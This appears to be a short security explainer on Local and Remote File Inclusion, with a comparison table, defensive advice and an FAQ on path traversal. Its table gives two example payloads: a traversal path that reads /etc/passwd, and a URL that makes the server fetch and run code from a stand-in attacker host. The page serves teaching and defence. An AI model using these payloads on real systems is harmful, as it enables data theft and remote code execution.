In short
A file inclusion vulnerability occurs when an application loads and interprets a file whose path is provided by the user. With an LFI (Local File Inclusion), the attacker causes the system to include a file already present on the server, which exposes sensitive data and can lead to code execution. With an RFI (Remote File Inclusion), the attacker causes the system to include a file hosted on their own server, whose code is executed directly by the server. These vulnerabilities primarily affect PHP, but also other technologies such as JSP or ASP.
LFI and RFI: The Differences
| LFI (Local File Inclusion) | RFI (Remote File Inclusion) | |
|---|---|---|
| Included file | A file present on the server | A file hosted by the attacker |
| Example | page.php?file=../../../etc/passwd | page.php?file=https://attaquant.example/code.txt |
| Direct Consequence | File Reading: Configuration, Source Code, Secrets | Immediate execution of the attacker’s code |
| Toward Code Execution | This can be achieved by including a file controlled by the attacker (an uploaded file, logs) or via PHP wrappers. | Direct |
| Conditional Statements in PHP | No special configuration required | The `allow_url_include` directive must be enabled; it is disabled by default. |
How to Protect Against It
- Never pass user input to an inclusion function (include, require) or a file access function.
- Use a whitelist: the user chooses an identifier (“home,” “contact”), which the application translates into a fixed path.
- In PHP, keep `allow_url_include` disabled and restrict accessible directories (`open_basedir`).
- Prevent code execution in directories where users upload files.
Frequently asked questions
What is the difference between LFI and path traversal?
Directory traversal allows a file to be read from outside the intended directory. File inclusion goes a step further: the file is interpreted by the application, so a file containing code is executed. The two are often combined, with directory traversal used to access the file to be included.
Sources
Find out where an attacker would get in.
Our AI agents actually attack your scope, fully automated, and hand you the proof of every vulnerability.
